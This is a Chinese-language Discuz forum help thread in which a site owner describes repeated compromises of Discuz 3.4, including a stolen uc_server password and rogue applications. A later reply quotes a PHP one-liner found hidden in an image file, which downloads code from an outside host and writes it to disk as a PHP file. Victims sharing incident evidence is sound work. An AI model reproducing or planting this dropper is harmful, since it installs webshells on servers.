Discuz!应用商城(DisMall)Discuz!应用商城(DisMall)

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 882|回复: 3

[求助] DZ3.4最新版,又被黑了!

[复制链接]

2

主题

2

帖子

3

积分

Newbie

Rank: 1

贡献
0 点
金币
1 个
发表于 2021-3-11 09:34:23 | 显示全部楼层 |阅读模式
从 3.2到3.3到3.4 都被黑过,3.3被黑了很多次,木马多的都找不完了,一狠心 删除了所有插件,直接全新安装了3.4 ,好几个月都没问题,结果前几天发现又被黑了。uc_server密码被窃取。uc_server/data/tmp下发现一个图片文件,下载下来没有发现图片里包含php代码,uc_server应用里多了两个应用。指向了用户上传头像目录下的图片文件,也没发现里面包含php代码。 很好奇uc_server的密码是怎么泄露的。 大神告知一下,是服务器设置不够安全,还是dz的漏洞一直没修复。每次都这样被黑,服务器都重新安装好几次了!
回复

使用道具 举报

9

主题

1369

帖子

1528

积分

开发者

discuz 老兵

Rank: 6Rank: 6Rank: 6

贡献
0 点
金币
142 个
QQ
发表于 2021-3-11 09:39:08 | 显示全部楼层
  可以联系我的QQ129820  专业清理木马!
回复 支持 反对

使用道具 举报

8

主题

32

帖子

64

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
29 个
发表于 2021-10-17 18:33:23 | 显示全部楼层
图片文件用php格式打开!在图片.php文件里面最下边会有一行网址,我也是刚刚被黑。。。
回复 支持 反对

使用道具 举报

8

主题

32

帖子

64

积分

Member

Rank: 2Rank: 2

贡献
0 点
金币
29 个
发表于 2021-10-17 19:35:10 | 显示全部楼层
我的图片里有这个代码
  1. ??php file_put_contents('f.php',file_get_contents('http://520x.cc/yijian.txt')); ?>
复制代码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz!应用中心 ( 皖ICP备16010102号 )|网站地图star

GMT+8, 2022-5-18 04:24 , Processed in 0.039584 second(s), 21 queries , Yac On.

Powered by Discuz!

Copyright © Tencent Cloud.

快速回复 返回顶部 返回列表